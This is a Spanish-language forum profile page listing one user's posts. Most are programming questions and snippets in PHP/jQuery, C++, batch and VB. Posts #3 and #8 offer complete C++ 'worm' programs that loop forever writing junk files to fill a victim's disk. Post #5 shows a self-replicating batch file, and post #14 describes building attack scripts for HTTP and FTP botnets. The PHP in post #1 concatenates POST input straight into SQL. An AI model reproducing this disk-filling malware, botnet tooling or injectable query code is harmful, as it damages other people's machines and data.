Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - zikotik

#1
Hola gente, muy buenas tardes. Estoy desarrollando el nuevo sistema para la empresa en la que trabajo, y si bien tengo experiencia en JQuery y PHP, es la primera vez que tengo un problema con JQuery para programar un con contextmenu().

El problema radica en lo siguiente:
Tengo 2 árboles de directorios (rojo y azul). El árbol rojo contiene todos los archivos de un cliente, mientras que el árbol azul es algo así como una caja a donde un administrador puede pasar las cosas del árbol rojo hacia el azul para poder después facturarlas y cobrarle al cliente.

La cuestión es que no hay ni puede haber botones directos en pantalla para este tipo de cosas, sino que para pasar las cosas de un lado a otro, se maneja con el botón derecho del mouse.

Les dejo una imagen de muestra:




Qué sucede?, cuando quiero quitar un archivo de la caja azul, me aparece el mismo div que aparece cuando doy click derecho sobre la caja roja, y en realidad no debería suceder éso, sino que se tendría que mostrar otro div con otras opciones.

(Imagen de lo que sucede)



Finalmente, les dejo el código del archivo PHP.
Espero puedan darme una mano. Muchas gracias de antemano!

Código (php) [Seleccionar]
<?php
@
session_start();

    if(!isset(
$_SESSION["session"])){
        
header("location: ../login.php");
    }

    include(
"serverconfig.php");
    include(
"detectar_archivo.php");

    
$cliente_id $_POST["cliente"];
    
$sql "SELECT * FROM `usuarios` WHERE `id` LIKE ".$cliente_id;
    
$query mysql_query($sql);
    while(
$data mysql_fetch_assoc($query)){
    
$nombre_cliente $data["nombre"];
    }

    function 
archivosCliente($cliente){
    
// BASE DE DATOS VIEJA
    $sql "SELECT * FROM `archivos` WHERE `usuario_id` LIKE ".$cliente." AND `deleted` LIKE '0' ORDER BY `tipo`";
    $query mysql_query($sql);
    $last_folder "";
    while($data mysql_fetch_assoc($query)){
     if($last_folder != $data["tipo"]){
     $last_folder $data["tipo"];
     echo '<div class="folder" folder-type="'.$data["tipo"].'" no-select><i class="fa fa-folder"></i>&nbsp; '.detectFile($data["tipo"])."</div>";
     }
     if($data["nombre"] == ""){$data["nombre"] = "Archivo ".$data["id"];}
     echo '<div class="file" file-id="'.$data["id"].'" pdf="'.$data["path"].'" db-age="old" file-type="'.$data["tipo"].'" no-select><i class="fa fa-file"></i>&nbsp; '.$data["nombre"]."</div>";
    }
    
// BASE DE DATOS NUEVA
    $sql "SELECT * FROM `archivos_pdf` WHERE `cliente_id` LIKE ".$cliente." AND `papelera` LIKE '0' ORDER BY `tipo`";
    $query mysql_query($sql);
    $last_folder "";
    while($data mysql_fetch_assoc($query)){
     if($last_folder != $data["tipo"]){
     $last_folder $data["tipo"];
     echo '<div class="folder" folder-type="'.$data["tipo"].'" no-select><i class="fa fa-folder"></i>&nbsp; '.detectFile($data["tipo"])."</div>";
     }
     if($data["nro_expediente"] == ""){$data["nro_expediente"] = "Archivo ".$data["id"];}
     echo '<div class="file" file-id="'.$data["id"].'" pdf="'.$data["pdf"].'" db-age="new" file-type="'.$data["tipo"].'" no-select><i class="fa fa-file"></i>&nbsp; '.$data["nro_expediente"]."</div>";
    }
    }
?>


<style type="text/css">
[no-select] {
-webkit-user-select: none;
-khtml-user-select: none;
-moz-user-select: none;
-o-user-select: none;
user-select: none;
}
.toggle-tips {
cursor: pointer;
margin: 0px 20px 25px;
padding: 10px;
box-sizing: border-box;
transition-duration: 0.25s;
}
.toggle-tips:hover {
background: #ececec;
}
.toggle-tips:active {
transition-duration: 0s;
background: #659be0;
color: #fff;
}
.toggle-tips:active i {
color: #fff;
}
.fa-exclamation-circle {
color: #659be0;
}
.archivos-cliente .portlet-body, .archivos-ot .portlet-body {
height: 300px;
max-height: 300px;
overflow-y: auto;
}
.folder i {
color: #F1C40F;
}
.file i {
margin-left: 20px;
color: #659be0;
}
.ot-tree .file i {
color: #e7505a;
}
.file {
cursor: pointer;
display: none;
}
.folder, .file {
cursor: pointer;
padding: 10px;
font-size: 18px;
transition-duration: 0.25s;
}
.folder:hover {
background: #ececec;
}
.context-cliente, .context-ot {
z-index: 9994;
cursor: pointer;
display: none;
position: absolute;
padding: 0px;
background: #000;
box-shadow: 0px 10px 35px 0px rgba(0,0,0,.65);
}
.context-cliente .opt, .context-ot .opt {
padding: 10px;
box-sizing: border-box;
width: 250px;
color: #fff;
background: #111;
}
.context-cliente .opt:hover, .context-ot .opt:hover {
transition-duration: 0.25s;
background: #88a22a;
}
.context-cliente .opt:active, .context-ot .opt:active {
transition-duration: 0s;
background: #fff;
color: #88a22a;
}
[author] {
font-size: 13px;
font-style: italic;
color: rgba(0,0,0,.45);
}
</style>

<script type="text/javascript">
$(function(){
function unselectFiles(){
$(".file").removeAttr("file-active");
$(".file").css({
"background" : "none"
});
}
$(".toggle-tips").on("click", function(){
$(".note-success").show();
$(this).hide();
});
$(".note-success").on("click", function(){
$(".toggle-tips").show();
$(this).hide();
});
var folder = 0;
$(".folder").on("click", function(){
var type = $(this).attr("folder-type");
$(".archivos-cliente .file[file-type="+type+"]").toggle();
});
$(".file").on("mouseover", function(){
if($(this).attr("file-active") != 1){
$(this).css({
"background" : "#ececec"
});
}
});
$(".file").on("mouseleave", function(){
if($(this).attr("file-active") != 1){
$(this).css({
"background" : "none"
});
}
});
$("html").click(function(){
unselectFiles();
$(".context-cliente, .context-ot").hide();
$(".file").removeAttr("file-active");
});
$(".file").contextmenu(function(e){
unselectFiles();
$(this).attr("file-active","1");
$(".buffer-temp").html("");
$(this).css({
"background" : "#ececec"
});
});
$(".archivos-cliente .file").contextmenu(function(e){
$(".context-ot").css({
"display" : "none"
});
$(".context-cliente").css({
"display" : "block",
"left" : + e.pageX + 2 + "px",
"top" : + e.pageY - 50 + "px"
});
});
$(".archivos-ot .file").contextmenu(function(e){
$(".context-cliente").css({
"display" : "none"
});
$(".context-ot").css({
"display" : "block",
"left" : + e.pageX + 2 + "px",
"top" : + e.pageY - 50 + "px"
});
});
$(".opt-add").on("click", function(){
$(".archivos-cliente .file[file-active]").appendTo(".buffer-temp");
var user = $(".username").text().trim();
$(".buffer-temp .file").append('&nbsp;<span author="' + user + '">(' + user + ")</span>");
$(".buffer-temp .file").appendTo(".ot-tree");
$(".buffer-temp").html("");
unselectFiles();
});
});
</script>

<div class="buffer-temp" hidden="hidden"></div>

<div class="toggle-tips" no-select><i class="fa fa-exclamation-circle"></i>&nbsp; Ver tips informativos...</div>

<div class="context-cliente" no-select><div class="opt opt-read">Ver Archivo</div><div class="opt opt-add">Agregar a Orden de Trabajo</div></div>

<div class="context-ot" no-select><div class="opt opt-read">Ver Archivo</div><div class="opt opt-remove">Quitar de Orden de Trabajo</div></div>

<div class="row" style="padding: 0px 20px 0px 20px;">

<div class="note note-success" hidden="hidden" style="cursor: pointer; margin: 0px 15px 20px 15px;">
<p><b>&bullet;</b> Para <u>ver el archivo anexado</u>, haga <b>Click Derecho</b> sobre &nbsp;<i class="fa fa-file"></i>&nbsp; y a continuaci&oacute;n pulse la opci&oacute;n <b>Ver Archivo</b>.</p>
<p><b>&bullet;</b> Para <u>pasar un archivo</u> a la orden de trabajo, haga <b>Click Derecho</b> sobre &nbsp;<i class="fa fa-file"></i>&nbsp; y a continuaci&oacute;n pulse la opci&oacute;n <b>Agregar a Orden de Trabajo</b>.</p>
<p><b>&bullet;</b> Para <u>quitar un archivo</u> de la orden de trabajo, haga <b>Click Derecho</b> sobre &nbsp;<i class="fa fa-file"></i>&nbsp; y a continuaci&oacute;n pulse la opci&oacute;n <b>Quitar de Orden de Trabajo</b>.</p>
</div>

<!-- ARCHIVOS DE CLIENTE -->
<div class="col-md-6 archivos-cliente" height="300px">
   <div class="portlet red box">
       <div class="portlet-title">
           <div class="caption">
               Archivos de <?php echo $nombre_cliente;?>
           </div>
       </div>
       <div class="portlet-body">
           <?php archivosCliente($cliente_id);?>
       </div>
   </div>
</div>

<!-- ARCHIVOS DE OT -->
<div class="col-md-6 archivos-ot">
   <div class="portlet blue-madison box">
       <div class="portlet-title">
           <div class="caption">
               Contenido de Orden de Trabajo
           </div>
       </div>
       <div class="portlet-body ot-tree">
        <!-- ARCHIVOS AGREGADOS A ORDENES DE OT -->
       </div>
   </div>
</div>

</div>


MOD: Imágenes adpatadas a lo permitido.
#2
Hace unos días estaba haciendo una apliación en la que necesitaba en cierta parte del proceso, comparar una variable tipo string con una variable tipo char tanto en tamaño como en valor, pero no debía usar sentencias for ni while. Así y entonces, desarrollé esta pequeña función que quizá le pueda ser útil a aquellos que recién empiezan.

Código (cpp) [Seleccionar]
#include <cstring>

bool strchk(string a, string b){
if(a.size() == b.size() && a == b){
return 1;
} return 0;
}


La forma de uso sería la siguiente...

Código (cpp) [Seleccionar]
#include <iostream>
#include <cstring>
using namespace std;

bool strchk(string a, string b){
if(a.size() == b.size() && a == b){
return 1;
} return 0;
}

int main(int argc, char *argv[]){
if(strchk(argv[1], argv[2]) == 1){
cout << "Son iguales";
} else {
cout << "Son desiguales";
}
}


En una consola de comandos se ejecutaría de la siguiente manera...

Código (dos) [Seleccionar]
app.exe texto texto
Son iguales

app.exe texto palabra
Son desiguales


Si modificamos un poco el main, podemos usarlo para crear un sistema de inicio de sesión (por ejemplo).

Código (cpp) [Seleccionar]
#include <iostream>
#include <cstring>
using namespace std;

bool strchk(string a, string b){
if(a.size() == b.size() && a == b){
return 1;
} return 0;
}

int main(int argc, char *argv[]){
char pwd[9] = "1a2b3c4d";
if(strchk(argv[1], pwd) == 1){
cout << "La clave es correcta";
} else {
cout << "La clave es incorrecta";
}
}
#3
Programación C/C++ / Gusano básico en C++
24 Octubre 2014, 07:21 AM
Hola gente, hace mucho no publicaba en este foro y era debido a la falta de tiempo. Hoy decidí publicar un pequeño código que armé en C++ que básicamente lo que hace es crear una cantidad enorme de archivos txt cuyos datos internos son datos para ocupar espacio en el hdisk de la pc víctima.

Los archivos van del 0.txt al 999999999999999999999.txt y dentro de cada archivo se aloja una cadena de datos que van desde el 00:00:00 hasta el 99:99:99 más un agregado de datos modificables.

Haciendo los cálculos, en 24 horas se generan un total de 996 GB de archivos basura, es decir, casi 1 TB.

#include <fstream>
#include <stdlib.h>
#include <string.h>

using namespace std;

int main(){
int nfile = 0;
char hckr[40] = "spk";

while(true){
char fname[24];
itoa(nfile, fname, 10);
strcat(fname, ".txt");
ifstream fseek(fname);

int b = 0;
int c = 0;
int d = 0;
int e = 0;
int f = 0;

if(!fseek.is_open()){
ofstream fo(fname);

for(int a = 0; a <= 9; f++){
if(f > 9){
f = 0;
e++;
}

if(e > 9){
f = 0;
e = 0;
d++;
}

if(d > 9){
f = 0;
e = 0;
d = 0;
c++;
}

if(c > 9){
f = 0;
e = 0;
d = 0;
c = 0;
b++;
}

if(b > 9){
f = 0;
e = 0;
d = 0;
c = 0;
b = 0;
a++;
}

fo << "# data [" << a << b << ":" << c << d << ":" << e << f << "] " << hckr << "\n";
}

fo.close();
} else {
fseek.close();
}

nfile++;
}
}


No sé si definirlo exactamente como un gusano ya que si bien no se duplica a sí mismo ni tampoco se propaga mediante p2p ni nada por el estilo, pero sí tiene la función afectar por lo menos a una parte específica de la pc.

Espero que les sirva de algo el código, y cualquier duda, me preguntan.

PD: NO ME HAGO CARGO DEL USO QUE LE DEN AL MISMO.
#4
Seguridad / Método de cifrado [creación propia]
21 Febrero 2014, 02:33 AM
Hola gente, quería compartir con uds. un sistema de cifrado alfanumérico que terminé de crear hace más o menos una hora; lo llamo "Método SPK" (debido a la abreviación de mi segundo alias: Spaktlit). Me basé en el algoritmo de la máquina de Arthur Scherbius.

Espero que les guste; cualquier comentario será bien recibido.

Primero les dejo las tablas de valores y el algoritmo, luego les dejo un par de ejemplos para que vean como funciona.

TABLA DE VALORES

A  B  C  D  E  F    10 11 12 13 14 15
G  H  I  J  K  L    16 17 18 19 20 21
M  N  O  P  Q  R    22 23 24 25 26 27
S  T  U  V  W  X    28 29 30 31 32 33
Y  Z  0  1  2  3    34 35 36 37 38 39
4  5  6  7  8  9    40 41 42 43 44 45


BLOQUES DE DATOS

0  1  2  3      R  P  K  C
4  5  6  7      B  Q  D  N
8  9  A  B      X  Z  F  T

Nota:
Si la suma de los dígitos del valor numérico del caracter a cifrar
es equivalente a 10, entonces vale 0,
si da 11, es equivalente a A,
si da 12, es equivalente a B.


ALGORITMO DE CIFRADO

i = 0
data = (v[n1] + v[n2])
   ? = :v < 50 = (:i < 1 = 3, :i > 0 = -3, v = b),
       :v < 40 = (i+4, v = b),
       :v < 30 = (:i < 1 = 1, :i > 0 = -1, v = b),
       :v < 20 = (i+2, v = b)

Explicación de la suma de valores:
El valor del dato a cifrar es el resultado de la suma entre el primer y último dígito del valor numérico del caracter a cifrar.

Explicación de la variable i:
Si el valor numérico del caracter a crifrar
es menor a 50 (entre 40 y 49), i equivale a 3 si esta es 0, sino resta 3,
si es menor a 40 (entre 30 y 39), se suma 4 a i,
si es menor a 30 (entre 20 y 29), i equivale a 1 si esta es 0, sino resta 1,
si es menor a 20 (entre 10 y 19), se suma 2 a i.

Glosario:
i = variable para eludir repetición de valores
data = texto a cifrar
v = valor numérico del caracter a cifrar
n1 = primer dígito numérico del caracter a cifrar
n2 = segundo dígito numérico del caracter a cifrar
b = bloque de datos


EJEMPLOS

i = 0, 1, 0, 1
SPK = 28, 25, 20
  ? = (2 + 8), (2 + 5), (2 + 0)
  ? = 1(0), 0(7), 1(2)
  ? = 1R0N1K

i = 0, 2, 1, 0, 2, 1, 5, 4, 6, 5
HOLA MUNDO = 17, 24, 21, 10, 22, 30, 23, 13, 24
? = (1 + 7), (2+4), (2 + 1), (1 + 0), (2 + 2), (3 + 0), (2 + 3), (1 + 3), (2 + 4)
? = 2(8), 1(6), 0(3), 2(1), 1(4), 5(3), 4(5), 6(4), 5(6)
? = 2X1D0C2P1B5C4Q6B5D
#5
Hola qué tal, estaba aburro y decidí hacer algo así como un malware, virus, o como lo quieran llamar, que lo que hace es autocopiar su mismo código al final del mismo, de tal manera que se vaya duplicando su tamaño cada vez más y más.

El problema es que se me ocurrió hacerlo en batch ya que quería hacer un concepto base, y la verdad es que no tengo ni idea de cómo pasarlo a lenguage C++ (se programar en este).

No sé si pueden tirarme una idea aunque sea para ver cómo me las puedo arreglar.

Código (dos) [Seleccionar]
@echo off
type archivo.bat >> archivo.bat


Básicamente lee su mismo código y se autocopia al final del mismo archivo, y como no reconoce fin de línea, se sigue copiando, pero en C++ tiraría error ya que no se puede modificar el mismo archivo si está en ejecución, por éso pregunto para saber si se les ocurre algo.

Gracias de antemano.
#6
Hola gente, quería compartir con uds un método de cifrado que estoy armando junto con un amigo, basado en Arrays, para utilizar en bases de datos SQL con PHP y lectura/escritura de archivos con C++.

Quisieramos saber qué opinan de éste método de cifrado y qué podría mejorarse.

Por el momento sirve sólo para datos alfanuméricos, lo cual hace que sea básico (es sólo para tener una base). Los caracteres están identificados con un número de 2 dígitos en una tabla de 12 x 3 (36 caracteres) tomando por igual a las mayúsculas y a las minúsculas.

Código (bash) [Seleccionar]
10 11 12 13 14 15 16 17 18 19 20 21
A  B  C  D  E  F  G  H  I  J  K  L

22 23 24 25 26 27 28 29 30 31 32 33
M  N  O  P  Q  R  S  T  U  V  W  X

34 35 36 37 38 39 40 41 42 43 44 45
Y  Z  0  1  2  3  4  5  6  7  8  9


Al encriptarlo, se debe pasar cada caracter de cada palabra a los siguiente valores teniendo en cuenta la tabla anterior:

Código (bash) [Seleccionar]
0 1 2 3 4 5 6 7 8 9
Z B P K G Q V H C A


Nota: A partir de ahora, tomaremos la palabra "ASD" como ejemplo.

Para pasar un caracter a valor cifrado, se debe separar un dígito del otro, como por ejemplo:

Código (bash) [Seleccionar]
ASDS = ?
A = B + Z
S = P + C
D = B + K
? = B + Z + P + C + B + K


Cuando se hayan pasado todos los caracteres, se deben eliminar sólo los caracteres repetidos, pero obteniendo la distancia del siguiente valor repetido a partir del primero, y luego se escribe el número de la distancia delante del primer valor cifrado, es decir...

Código (bash) [Seleccionar]
ASD = ?
? = B + Z + P + C + B + K
? = B + Z + P + C + 4 + K
? = 4B + Z + P + C + K


Por último la palabra cifrada quedaría de la siguiente manera:

Código (bash) [Seleccionar]
ASD = 4BZPCK

Les dejo un par de ejemplos para que vean...

Código (bash) [Seleccionar]
root = PHPGPGPA = 2PH2G2PA
linux = PBBCPKKZKK = 4P1BC1KZ1K
bunker = BBKZPKPZBGPH = 1B3K4Z2PBGPH
flug = BQPZKZBV = 6BQP2ZKV
produkt = PQPHPGBKKZPZPA = 2PQH6PGB1K2ZPA
trinken = PAPHBCPKPZBGPK = 2PAH6BC2P6KZGP
schnee = PCBPBHPKBGBG = 3PC2BHPK2B2G
#8
Programación C/C++ / Worm básico en C++
10 Enero 2014, 17:45 PM
Hola gente, les dejo un pequeño código de un worm básico que hice hace un rato en C++.
Modifíquenlo a su gusto, y cualquier duda, pregunten...

Si usan linux, desactiven la librería windows.h y activen la librería unistd.h, en caso contrario, déjenlo como está.

La variable mls, sirve para que después de cada loop, el worm espere x cantidad de milisegundos; 0 para desactivarlo o pongan otro valor.

La variable txt, es para escribir en cada archivo que creará el worm.

La variable blq, tiene el valor del nombre del archivo a crear.

Código (cpp) [Seleccionar]
#include <fstream>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
//#include <unistd.h>

using namespace std;

int main(){
int i = 1;
int dat = 0;
int mls = 125;
char buf[35];
char txt[41] = "err[32030950ab769812b57c164cdab5138e]\n";

while(i != 0){
char blq[44] = "err.";
strcat(blq,itoa(dat,buf,10));

ifstream arch (blq);

if(!arch){
ofstream arch (blq);
arch << txt;
arch.close();
Sleep(mls);
} else {
arch.close();
}

dat++;
}

}
#9
Scripting / [BATCH] Problema con diccionario
17 Julio 2013, 03:35 AM
Hola gente, les comento que estoy haciendo una pequeña aplicación en batch que genera un diccionario con la cantidad de caracteres que el usuario desee.

El sistema en términos básicos sería:

- suponiendo que se ingresó un máximo de 4 caracteres por palabras -

aaaa
aaab
aaac
aaad
aaae
aaaf
...
aaaz
aaa0
aaa1

- y así constantemente -

El problema es que no puedo hacer que salgan los caracteres ! y ?.
Les dejo el código para que lo lean y me den una pequeña ayuda si es posible.
Gracias de antemano.

Código (dos) [Seleccionar]
@echo off
title Diccionario
setlocal enabledelayedexpansion

set chars=a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,w,w,x,y,z,0,1,2,3,4,5,6,7,8,9,!,?,#,@,.
set ini=0
set wor=0
set /p lenght=Lenght:

call :generar

pause
exit

:generar
set /a wor+=1
title Palabra %wor%
if %ini% neq %lenght% (
set /a ini+=1
for %%c in (!chars!) do call :generate %~1%%~c
set /a ini-=1
) else (
set cadena=%~1
echo.!cadena!
echo.!cadena!>>diccionario_!lenght!.txt
)
goto:eof
#10
Scripting / Como hacer una consola batch
4 Julio 2013, 22:55 PM
Estaba aburrido, así que me puse a armar una consola en batch para llamar comandos ubicados en una carpeta bin que se encuentra en el mismo lugar que la consola (es decir, que no funciona con los comandos comunes del cmd, sino que tienen que hacer los suyos y meterlos en la carpeta bin)

La consola verifica que la cantidad de caracteres introducidos sea igual o mayor a 6, y si es así entonces verifica también que los primeros 3 caracteres equivalgan a algún comando que haya en la carpeta bin, luego verifica que los siguientes 2 caracteres, equivalgan al operador :: (cuatro puntos), y luego verifica si se insertó una instrucción o no. En caso que la cantidad de caracteres introducidos sea menor a 6, devuelve un error.

El código de la consola es el siguiente:
@echo off
setlocal enabledelayedexpansion
title Konsola
color 8F
cd bin

:main
set len=0
set "kon=....."
set /p kon=

:read
if not "!kon:~%len%,1!"=="" (
 set /a len+=1
 goto read
)

:chk
if %len% LSS 6 (goto error)
set kom=%kon:~0,3%
set chk=%kon:~3,2%
set ins=%kon:~5%
if %chk%==:: (goto kom) else (goto error)

:kom
if exist %kom%* (call %kom% %ins%) else (goto error)
goto main

:error
echo [x] invalid kom.
goto main


Digamos que quieren llamar a un comando sería:

[comando]::[instrucción]

Por ejemplo: supongamos que tienen un comando en la carpeta bin llamado kpr y lo que hace es matar un proceso, entonces tendrían que hacer:

kpr::chrome.exe

Otro ejemplo sería: si tienen un comando frw en la carpeta bin y lo que hace es activar o desactivar el firewall tanto con la instrucción firewall como con la instrucción set, entonces tendrían que hacer:

frw::firewall.off
frw::firewall.on
frw::set.off
frw::set.on


Espero que les guste, si tienen alguna duda, pregunten.
Y si tienen algún consejo, aconsejen.
#11
Buenas qué tal, estoy haciendo una aplicación junto con un amigo en VBNET.
Y ahora necesitamos hacer un programa de consola que va a ser llamado mediante la aplicación de VBNET para agregar puertos TCP y UDP (éso lo manejo con argc y argv) con ciertos atributos...

archiv.cpp [tcp/udp] [nº puerto] [nombre]

(Obviamente el archivo.cpp estaría compilado a exe...)

La cuestión es que no sé cómo hacer para agregar puertos desde C++.
Leí acerca de la librería dos.h que tenía los comandos inport y outport, pero son sólo para enviar datos mediante puertos ya existentes (según lo que entendí), por lo tanto no me sirve de mucho...

Cómo puedo hacer ésto?
Gracias de antemano ;)
#12
Hola gente, pues tengo un pequeño problemita...
estoy haciendo un programa, pero dados mis conocimientos sobre el idioma ruso, quisiera hacerlo en ruso, el problema es que no sé cómo hacer para mostrar caracteres hexadecimales en C++.

Por ejemplo:

привет мир.
hola mundo.

el hexadecimal de éso sería:

043f  0440  0438  0432  0435  0442  043c  0438  0440

Pero no sé cómo hacer que se muestren los caracteres cirílicos con la función cout o printf.
Si alguien me ayuda, le estoy agradecido !
#13
Hola gente, me he mudado de Visual Basic al C++ hace muy poco tiempo.

Como primer idea, quise hacer una pequeña aplicación que me creara un archivo .txt con el contenido de una variable.

Ejemplo, la variable "istr" era equivalente a "Texto 123", entonces la aplicación creaba el archivo "archivo.txt" con el contenido de la variable "istr".

El problema está en que cuando hago fprintf, no me toma la variable.
Revisé montón de veces mi código, me fijé en otros foros, e inclusive intenté con la variable char, pero no hubo caso.

Aquí les dejo mi código y espero que alguno me dar una mano con ello.
Les agradezco la ayuda de antemano.

#include <iostream>
#include <string>
#include <stdio.h>
#include <conio.h>

using namespace std;

FILE *doc

int main()
{
    string txt;
    txt = "Texto 123";

    doc = fopen("archivo.txt", "a+");
    fprintf(doc, "%s", txt);
    flocse(doc);

    getch();
    return 0;
}
#14
Hola gente, qué tal, soy nuevo en el foro. Gracias a éste pude encontrar muchas soluciones a muchas de mis dudas pasadas, pero me surgió una duda, y busqué en muchos lugares ya, inclusive en éste, pero no encontré la solución.

Aquí mi duda...

Estoy haciendo un programa que permite programar ataques con "lenguaje propio" para utilizarlos con Botnets HTTP o Botnets FTP (no usa IRC) que en realidad lo que hace es guardar todo el código en un archivo llamado file.zpk y luego es leido en otro textBox, traduce palabras en especial y las remplaza a batch, luego compila todo a exe para poder meterlo a un servidor (éso lo tengo resuelto)

Cuando haya la palabra, la remplaza correctamente.
Por ejemplo:

open.file = start
bucle.load = goto
!script() = @echo off
#: = rem

El problema es que si pongo el objeto que recibe la acción, es decir, por ejemplo:

open.file archivoejemplo.exe
bucle.make memoria
bucle.load memoria

Al traducirlo, lo deja como

start archivoejemplo.ex
:memori
goto memori

Osea, me elimina el último caracter de lo que no tiene que modificar...
POR QUÉ !!!!!!!!!!????
Aquí les dejo el código que estoy utilizando para ésto.
Uso 2 txtBox y un cmdButton. Se escribe en txtConsole y se traduce en txtSource.

Código (vb) [Seleccionar]
Private Sub btnCreate_Click()
On Error Resume Next
Dim lines_file As String
Dim fopen As Integer

Open App.Path & "\file.zpk" For Output As #1
Print #1, txtConsole.Text
Close #1

Open App.Path & "\file.zpk" For Input As #1
Do While Not EOF(1)
Line Input #1, lines_file
txtSource.Text = txtSource.Text + "&" + lines_file

'bucle.load
fopen = InStr(1, txtSource.Text, "bucle.load")
If fopen <> 0 Then
txtSource = Mid(txtSource.Text, 1, fopen - 1) & "goto" & Mid(txtSource, fopen + 10, Len(txtSource) - fopen - 10)

End If


Si alguien me dice cómo arreglar éso, se lo agradecería demasiado !